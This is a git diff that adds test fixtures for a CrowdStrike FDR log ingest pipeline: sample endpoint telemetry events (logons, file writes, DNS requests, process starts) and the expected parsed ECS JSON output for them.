+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":"","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812","StartTime":133145665200000000,"EndTime":133145665200000000}
+{"AuthenticationId":"703298","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2642284486","ContextProcessId":"1161025471861","ContextThreadId":"34929528116709","ContextTimeStamp":"1604851030.593","DiskParentDeviceInstanceId":"USB\\VID_1058\u0026PID_2621\\57583431453939315A4C5255","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"262fbc677256cf4c8d6c6a227285a072c06830873b000000","FileObject":"18446664963104449168","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"1","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"517029","TargetFileName":"c:\\Device\\HarddiskVolume5\\01.png.tmp$$","TokenType":"1","UserName":"user9","aid":"ffffffff16bf4c7bb5ad755a4722025c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"GenericFileWritten","id":"ffffffff-1111-11eb-800a-06cecfd73923","name":"GenericFileWrittenV11","timestamp":"1604851031298"}
+{"UserIsAdmin": "1", "LogonTime": "1715078799.631", "UserSid": "S-1-5-21-1111-11111-387821029-2004", "event_platform": "Mac", "EffectiveTransmissionClass": "2", "timestamp": "1715078799943", "info": { "host": { "Timezone": "Asia/Kolkata", "ServicePackMajor": "none", "PointerSize": "none", "SiteName": "none", "AgentVersion": "7.14.18305.0", "Time": "1715074061.000", "MachineDomain": "none", "event_platform": "Mac", "AgentTimeOffset": "454032", "Version": "Ventura (13)", "AgentLoadFlags": "0", "BiosVersion": "none", "FalconGroupingTags": "none", "SystemProductName": "Mac14, 2", "OU": "none", "ProductType": "none", "City": "Bengaluru", "ConfigBuild": "1007.4.0018305.10", "SensorGroupingTags": "none", "Continent": "Asia", "FirstSeen": "1701672920.000", "HostHiddenStatus": "Visible", "BiosManufacturer": "none", "AgentLocalTime": "1714620029.775", "Country": "India", "ChassisType": "Other", "SystemManufacturer": "Apple Inc.", "ConfigIDBuild": "18305", "cid": "11d1d1d1dd1d1d1d1d1" }, "user": { "UserIsAdmin": "1", "monthsincereset": "3.0", "User": "USER-1-MACBOOK-AIR.LOCAL\\USER-1", "LogonTime": "1715076000.000", "PasswordLastSet": "1706789855.733", "LogonType": "Interactive", "AccountType": "Local", "LastLoggedOnHost": "User-1-MacBook-Air.local", "_time": "1715076916.290", "cid": "1d1d1d1d1d1d1d1d1" } }, "ContextTimeStamp": "1715078799.690", "UserName": "user-1", "ConfigStateHash": "821711964", "LogonType": "2", "AuthenticationId": "111112312312312321", "UserPrincipal": "user-1@User-1-MacBook-Air.local", "PasswordLastSet": "1706789855.733", "Entitlements": "15", "name": "UserLogonMacV1", "UserLogonFlags": "6", "UserGroupsBitmask": "0", "cid": "1d1d1d1d1d1d1d1d1"}
+{"ActiveDirectoryAuthenticationMethod":"0","ActivityId":"E654B5F9-9FCD-4E9A-9F18-E433DB7ACBAC","AuthenticationActivityId":"0737DAC6-66AE-42DE-B10A-FD151AE99B86","ContextTimeStamp":"1715078799.690","SourceAccountDomain":"EXAMPLE.COM","SourceAccountObjectGuid":"62915660-5725-4B71-A494-46793F88877A","SourceAccountObjectSid":"S-1-5-21-333333333-333333333-3333333333-333333","SourceAccountSamAccountName":"bar","SourceEndpointAccountObjectGuid":"9FF5B4D9-4FAD-47E7-89C0-0B06299F0AE8","SourceEndpointAccountObjectSid":"S-1-5-21-222222222-222222222-2222222222-222222","SourceEndpointAddressIP4":"192.168.0.1","SourceEndpointHostName":"FOO","SourceEndpointNetworkTag":"AWS-XXX","SourceEndpointNetworkType":"1","TargetDomainControllerObjectGuid":"11111111-1111-1111-1111-111111111111","TargetDomainControllerObjectSid":"S-1-5-21-111111111-111111111-1111111111-111111","aip":"","cid":"11111111111111111111111111111111","event_platform":"Win","name":"ActiveDirectoryInteractiveDomainLogonV2","timestamp":"2024-08-01T11:31:27.123Z"}
+{"event_simpleName":"SmbServerShareOpenedEtw","UserName":"person@dom1.com","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1063377105","DomainName":"AzureAD","aip":"67.43.156.14","ConfigBuild":"1007.3.0019011.15","event_platform":"Win","Entitlements":"15","name":"SmbServerShareOpenedEtwV1","EventOrigin":"17","id":"5df90d92-3d9f-44e5-a095-428decb3d3f3","SmbShareName":"C$","EffectiveTransmissionClass":"3","aid":"1152404d33614d3bbfe87a5fe7bac47b","timestamp":"1738009593697","cid":"ffffffff30a3407dae27d0503611022d"}
+{"ContextBaseFileName":"SenseImdsCollector.exe","event_simpleName":"DnsRequest","ContextTimeStamp":"1738009377.497","ConfigStateHash":"138674525","ContextProcessId":"683613242245","DomainName":"metadata.google.internal","ContextThreadId":"31712204862362","aip":"67.43.156.14","QueryStatus":"9003","InterfaceIndex":"0","ConfigBuild":"1007.3.0019011.15","event_platform":"Win","DnsRequestCount":"1","DualRequest":"1","Entitlements":"15","name":"DnsRequestV5","EventOrigin":"1","id":"3d0ef474-fcc3-4f18-9ad6-7130d8ddb407","EffectiveTransmissionClass":"3","aid":"31e92a267c044d57b1c1e14109079e89","timestamp":"1738009364034","cid":"ffffffff30a3407dae27d0503611022d","RequestType":"28"}
+{"ProcessCreateFlags":"1024","IntegrityLevel":"8192","ParentProcessId":"434985540832797032","SourceProcessId":"434985540832797032","aip":"89.160.20.120","SHA1HashData":"0000000000000000000000000000000000000000","UserSid":"S-1-5-21-4084637156-299436391-3671333128-115430","event_platform":"Win","TokenType":"2","ProcessEndTime":"","ParentBaseFileName":"EmUser.exe","ImageSubsystem":"2","id":"9686a6b3-1d39-11ed-9370-0660bfa16adf","EffectiveTransmissionClass":"3","SessionId":"1","Tags":"25, 27, 862, 874, 924, 12094627905582, 12094627906234","timestamp":"1660636869410","event_simpleName":"ProcessRollup2","RawProcessId":"18446744072636268557","ConfigStateHash":"518095218","MD5HashData":"e570911fc2ab74ecf0dc59f324318f6e","SHA256HashData":"f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2","ProcessSxsFlags":"64","AuthenticationId":"29530993","ConfigBuild":"1007.3.0015103.1","CommandLine":"\"C:\\Program Files\\nirsoft\\SoundVolumeView.exe\" /SetDefault \"Teradici Virtual Audio Driver\\device\\speakers\\\" all","ParentAuthenticationId":"29530993","TargetProcessId":"434985669758362104","ImageFileName":"\\Device\\HarddiskVolume3\\Program Files\\NirSoft\\SoundVolumeView.exe","SourceThreadId":"434985668331321297","Entitlements":"15","name":"ProcessRollup2V19","ProcessStartTime":"1660636868.576","ProcessParameterFlags":"24577","aid":"50deaa55144543089a1f463b568cdc53","cid":"1301ac65ae144fbb9689a8472f828c2e"}
+{"AgentLoadFlags":"none","AgentLocalTime":"none","AgentTimeOffset":"63878691745","AgentVersion":"2025.02.1","BiosManufacturer":"none","BiosVersion":"none","ChassisType":"none","City":"Bengaluru","ComputerName":"none","ConfigBuild":"1007.32.20250201.9","ConfigIDBuild":"20250201","Continent":"Asia","Country":"India","FalconGroupingTags":"none","FirstSeen":"1742447937.000","HostHiddenStatus":"visible","MachineDomain":"none","OU":"none","PointerSize":"none","ProductType":"none","SensorGroupingTags":"none","ServicePackMajor":"none","SiteName":"none","SystemManufacturer":"Apple","SystemProductName":"none","Time":"1743094945.000","Timezone":"Asia/Kolkata","Version":"iOS 18.3.2","aid":"44444444444444444444444444444444","aip":"0.0.0.0","cid":"55555555555555555555555555555555","event_platform":"iOS"}
+{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","UTCTimestamp":"1604855134"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log-expected.json
new file mode 100644
index 0000000000..fd96fb6dc9
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log-expected.json
@@ -0,0 +1,12580 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2021-07-07T17:05:21.162Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1620585913",
+                "ContextTimeStamp": "2021-07-07T17:05:21.137Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "RGID": "501",
+                "RUID": "501",
+                "SVGID": "20",
+                "SVUID": "501",
+                "SessionProcessId": "363970027584976556",
+                "SourceProcessId": "362225661973273550",
+                "SourceThreadId": "0",
+                "SyntheticPR2Flags": "8",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-8dd4-061759968cdf",
+                "name": "SyntheticProcessRollup2MacV3"
+            },
+            "device": {
+                "id": "ffffffffa63e404bba4bff7465ab3afb"
+            },
+            "event": {
+                "action": "SyntheticProcessRollup2",
+                "category": [
+                    "process"
+                ],
+                "created": "2021-07-07T17:05:21.162Z",
+                "id": "ffffffff-1111-11eb-8dd4-061759968cdf|ffffffffa63e404bba4bff7465ab3afb|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"ParentProcessId\":\"362225661973273550\",\"SourceProcessId\":\"362225661973273550\",\"aip\":\"67.43.156.14\",\"SessionProcessId\":\"363970027584976556\",\"SyntheticPR2Flags\":\"8\",\"event_platform\":\"Mac\",\"SVUID\":\"501\",\"id\":\"ffffffff-1111-11eb-8dd4-061759968cdf\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1625677521162\",\"ProcessGroupId\":\"363970027584976556\",\"event_simpleName\":\"SyntheticProcessRollup2\",\"RawProcessId\":\"9505\",\"ContextTimeStamp\":\"1625677521.137\",\"GID\":\"20\",\"ConfigStateHash\":\"1620585913\",\"SVGID\":\"20\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"501\",\"CommandLine\":\"/bin/sh -s unix:cmd\",\"TargetProcessId\":\"363970027584976556\",\"ImageFileName\":\"/bin/sh\",\"RGID\":\"501\",\"SourceThreadId\":\"0\",\"Entitlements\":\"15\",\"name\":\"SyntheticProcessRollup2MacV3\",\"RUID\":\"501\",\"aid\":\"ffffffffa63e404bba4bff7465ab3afb\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "ffffffffa63e404bba4bff7465ab3afb",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "SyntheticProcessRollup2",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffa63e404bba4bff7465ab3afb",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "args": [
+                    "/bin/sh",
+                    "-s",
+                    "unix:cmd"
+                ],
+                "args_count": 3,
+                "command_line": "/bin/sh -s unix:cmd",
+                "entity_id": "363970027584976556",
+                "executable": "/bin/sh",
+                "name": "sh",
+                "parent": {
+                    "entity_id": "362225661973273550"
+                },
+                "pgid": 363970027584976556,
+                "pid": 9505,
+                "real_user": {
+                    "id": "501"
+                }
+            },
+            "related": {
+                "hash": [
+                    "1620585913"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "user": [
+                    "501"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "Ext": {
+                    "real": {
+                        "id": "501"
+                    }
+                },
+                "group": {
+                    "id": "20"
+                },
+                "id": "501"
+            }
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:24.102Z",
+            "crowdstrike": {
+                "AsepWrittenCount": 0,
+                "ConfigStateHash": "3090255842",
+                "ContextProcessId": "365053603452626914",
+                "ContextTimeStamp": "2021-07-07T17:05:23.068Z",
+                "DirectoryCreatedCount": 0,
+                "DnsRequestCount": 0,
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "ExecutableDeletedCount": 0,
+                "FileDeletedCount": 0,
+                "NetworkBindCount": 0,
+                "NetworkCapableAsepWriteCount": 0,
+                "NetworkCloseCount": 0,
+                "NetworkConnectCount": 0,
+                "NetworkListenCount": 0,
+                "NetworkRecvAcceptCount": 0,
+                "NewExecutableWrittenCount": 0,
+                "SuspectStackCount": 0,
+                "SuspiciousDnsRequestCount": 0,
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-9d75-02bcf3ade03b",
+                "name": "EndOfProcessMacV15"
+            },
+            "device": {
+                "id": "ffffffff3c0846978560dbc0048d6555"
+            },
+            "event": {
+                "action": "EndOfProcess",
+                "category": [
+                    "process"
+                ],
+                "created": "2021-07-07T17:05:24.102Z",
+                "id": "ffffffff-1111-11eb-9d75-02bcf3ade03b|ffffffff3c0846978560dbc0048d6555|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"FileDeletedCount\":\"0\",\"DirectoryCreatedCount\":\"0\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"NetworkConnectCount\":\"0\",\"NetworkListenCount\":\"0\",\"event_platform\":\"Mac\",\"NetworkBindCount\":\"0\",\"NetworkRecvAcceptCount\":\"0\",\"id\":\"ffffffff-1111-11eb-9d75-02bcf3ade03b\",\"NewExecutableWrittenCount\":\"0\",\"NetworkCloseCount\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"SuspectStackCount\":\"0\",\"timestamp\":\"1625677524102\",\"event_simpleName\":\"EndOfProcess\",\"RawProcessId\":\"33454\",\"ContextTimeStamp\":\"1625677523.068\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365053603452626914\",\"AsepWrittenCount\":\"0\",\"SuspiciousDnsRequestCount\":\"0\",\"ConfigBuild\":\"1007.4.0013701.1\",\"NetworkCapableAsepWriteCount\":\"0\",\"ExecutableDeletedCount\":\"0\",\"TargetProcessId\":\"365053603452626914\",\"DnsRequestCount\":\"0\",\"Entitlements\":\"15\",\"name\":\"EndOfProcessMacV15\",\"aid\":\"ffffffff3c0846978560dbc0048d6555\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "end"
+                ]
+            },
+            "host": {
+                "id": "ffffffff3c0846978560dbc0048d6555",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "EndOfProcess",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff3c0846978560dbc0048d6555",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "365053603452626914",
+                "pid": 33454,
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:04:48.615Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1620585913",
+                "ConnectionFlags": "0",
+                "ContextProcessId": "365042236081053654",
+                "ContextTimeStamp": "2021-07-07T17:04:48.594Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "InContext": "0",
+                "LocalAddressIP6": [
+                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
+                ],
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-ad8d-064c77be2fd1",
+                "name": "RawBindIP6MacV10"
+            },
+            "destination": {
+                "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
+                "port": 546
+            },
+            "device": {
+                "id": "ffffffffc59c473aa7fcbbe7438082cb"
+            },
+            "event": {
+                "action": "RawBindIP6",
+                "category": [
+                    "network"
+                ],
+                "created": "2021-07-07T17:04:48.615Z",
+                "id": "ffffffff-1111-11eb-ad8d-064c77be2fd1|ffffffffc59c473aa7fcbbe7438082cb|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"RawBindIP6\",\"ContextTimeStamp\":\"1625677488.594\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"RemoteAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"ConfigStateHash\":\"1620585913\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"365042236081053654\",\"RemotePort\":\"546\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LocalPort\":\"547\",\"Entitlements\":\"15\",\"name\":\"RawBindIP6MacV10\",\"id\":\"ffffffff-1111-11eb-ad8d-064c77be2fd1\",\"Protocol\":\"17\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffffc59c473aa7fcbbe7438082cb\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677488615\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "start",
+                    "connection"
+                ]
+            },
+            "host": {
+                "id": "ffffffffc59c473aa7fcbbe7438082cb",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "RawBindIP6",
+            "network": {
+                "community_id": "1:ZmJm1KFUrdmL4/rYSRwMQ18GXnk=",
+                "direction": "unknown",
+                "iana_number": "17",
+                "transport": "udp"
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffc59c473aa7fcbbe7438082cb",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "365042236081053654"
+            },
+            "related": {
+                "hash": [
+                    "1620585913"
+                ],
+                "ip": [
+                    "67.43.156.14",
+                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
+                ]
+            },
+            "source": {
+                "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
+                "port": 547
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:04.527Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1620585913",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "ProcessCount": 4,
+                "SHA256HashData": "f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018",
+                "Timeout": 600,
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-822b-06081a3f0f45",
+                "name": "ProcessRollup2StatsMacV1"
+            },
+            "device": {
+                "id": "ffffffff59fe460783ea45d59e417d6f"
+            },
+            "event": {
+                "action": "ProcessRollup2Stats",
+                "category": [
+                    "process"
+                ],
+                "created": "2021-07-07T17:05:04.527Z",
+                "id": "ffffffff-1111-11eb-822b-06081a3f0f45|ffffffff59fe460783ea45d59e417d6f|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "state",
+                "original": "{\"event_simpleName\":\"ProcessRollup2Stats\",\"ConfigStateHash\":\"1620585913\",\"Timeout\":\"600\",\"aip\":\"67.43.156.14\",\"SHA256HashData\":\"f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018\",\"ProcessCount\":\"4\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"502\",\"event_platform\":\"Mac\",\"CommandLine\":\"ruby --disable-gems sorbet/feature_dependency_plugin.rb --class EmergingAlbertsonsPickupBannerDiscount --method feature_dependency --source feature_dependency Domain::FeatureDependencies::RouletteUserFeature.new(\\n        feature_name: FEATURE_NAME,\\n        variants: [FEATURE_VARIANT],\\n      )\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2StatsMacV1\",\"id\":\"ffffffff-1111-11eb-822b-06081a3f0f45\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff59fe460783ea45d59e417d6f\",\"timestamp\":\"1625677504527\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "unknown",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "id": "ffffffff59fe460783ea45d59e417d6f",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "ProcessRollup2Stats",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff59fe460783ea45d59e417d6f",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "args": [
+                    "ruby",
+                    "--disable-gems",
+                    "sorbet/feature_dependency_plugin.rb",
+                    "--class",
+                    "EmergingAlbertsonsPickupBannerDiscount",
+                    "--method",
+                    "feature_dependency",
+                    "--source",
+                    "feature_dependency",
+                    "Domain::FeatureDependencies::RouletteUserFeature.new(\n",
+                    "feature_name:",
+                    "FEATURE_NAME,\n",
+                    "variants:",
+                    "[FEATURE_VARIANT],\n",
+                    ")"
+                ],
+                "args_count": 15,
+                "command_line": "ruby --disable-gems sorbet/feature_dependency_plugin.rb --class EmergingAlbertsonsPickupBannerDiscount --method feature_dependency --source feature_dependency Domain::FeatureDependencies::RouletteUserFeature.new(\n        feature_name: FEATURE_NAME,\n        variants: [FEATURE_VARIANT],\n      )",
+                "hash": {
+                    "sha256": "f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018"
+                }
+            },
+            "related": {
+                "hash": [
+                    "f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018",
+                    "1620585913"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "user": [
+                    "502"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "502"
+            }
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:14.783Z",
+            "crowdstrike": {
+                "ConfigIDBase": "65994753",
+                "ConfigIDBuild": "13701",
+                "ConfigIDPlatform": "4",
+                "ConfigStateHash": "3090255842",
+                "ConfigurationVersion": "10",
+                "EffectiveTransmissionClass": "0",
+                "Entitlements": "15",
+                "NetworkContainmentState": "0",
+                "ProvisionState": "1",
+                "SensorStateBitMap": "0",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-97c6-02fd02aca859",
+                "name": "SensorHeartbeatMacV4"
+            },
+            "device": {
+                "id": "ffffffffe1ad47b6b5b44ae9151a6cf3"
+            },
+            "event": {
+                "action": "SensorHeartbeat",
+                "category": [
+                    "package"
+                ],
+                "created": "2021-07-07T17:05:14.783Z",
+                "id": "ffffffff-1111-11eb-97c6-02fd02aca859|ffffffffe1ad47b6b5b44ae9151a6cf3|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"SensorHeartbeat\",\"ConfigStateHash\":\"3090255842\",\"NetworkContainmentState\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigIDBase\":\"65994753\",\"SensorStateBitMap\":\"0\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"ConfigurationVersion\":\"10\",\"Entitlements\":\"15\",\"name\":\"SensorHeartbeatMacV4\",\"ConfigIDPlatform\":\"4\",\"id\":\"ffffffff-1111-11eb-97c6-02fd02aca859\",\"ConfigIDBuild\":\"13701\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffffe1ad47b6b5b44ae9151a6cf3\",\"ProvisionState\":\"1\",\"timestamp\":\"1625677514783\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "id": "ffffffffe1ad47b6b5b44ae9151a6cf3",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "SensorHeartbeat",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffe1ad47b6b5b44ae9151a6cf3",
+                "version": "1007.4.0013701.1"
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:02.500Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1620585913",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "MD5HashData": "88922d50263b059696c2af5a99906562",
+                "MachOSubType": "1",
+                "RGID": "0",
+                "RUID": "0",
+                "SHA256HashData": "d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6",
+                "SVGID": "0",
+                "SVUID": "0",
+                "SessionProcessId": "362213307092004097",
+                "SourceProcessId": "362213307092004097",
+                "SourceThreadId": "0",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-a9ce-02e9216bdbcb",
+                "name": "ProcessRollup2MacV5"
+            },
+            "device": {
+                "id": "ffffffff8be84591864008eb2e484920"
+            },
+            "event": {
+                "action": "ProcessRollup2",
+                "category": [
+                    "process"
+                ],
+                "created": "2021-07-07T17:05:02.500Z",
+                "id": "ffffffff-1111-11eb-a9ce-02e9216bdbcb|ffffffff8be84591864008eb2e484920|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"MachOSubType\":\"1\",\"ParentProcessId\":\"362213307092004097\",\"SourceProcessId\":\"362213307092004097\",\"aip\":\"67.43.156.14\",\"SessionProcessId\":\"362213307092004097\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"event_platform\":\"Mac\",\"ProcessEndTime\":\"\",\"SVUID\":\"0\",\"ParentBaseFileName\":\"launchd\",\"id\":\"ffffffff-1111-11eb-a9ce-02e9216bdbcb\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1625677502500\",\"ProcessGroupId\":\"362213307092004097\",\"event_simpleName\":\"ProcessRollup2\",\"RawProcessId\":\"56254\",\"GID\":\"0\",\"ConfigStateHash\":\"1620585913\",\"SVGID\":\"0\",\"MD5HashData\":\"88922d50263b059696c2af5a99906562\",\"SHA256HashData\":\"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"0\",\"CommandLine\":\"xpcproxy com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000\",\"TargetProcessId\":\"363276350115996101\",\"ImageFileName\":\"/usr/libexec/xpcproxy\",\"RGID\":\"0\",\"SourceThreadId\":\"0\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2MacV5\",\"RUID\":\"0\",\"ProcessStartTime\":\"1625677502.233\",\"aid\":\"ffffffff8be84591864008eb2e484920\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
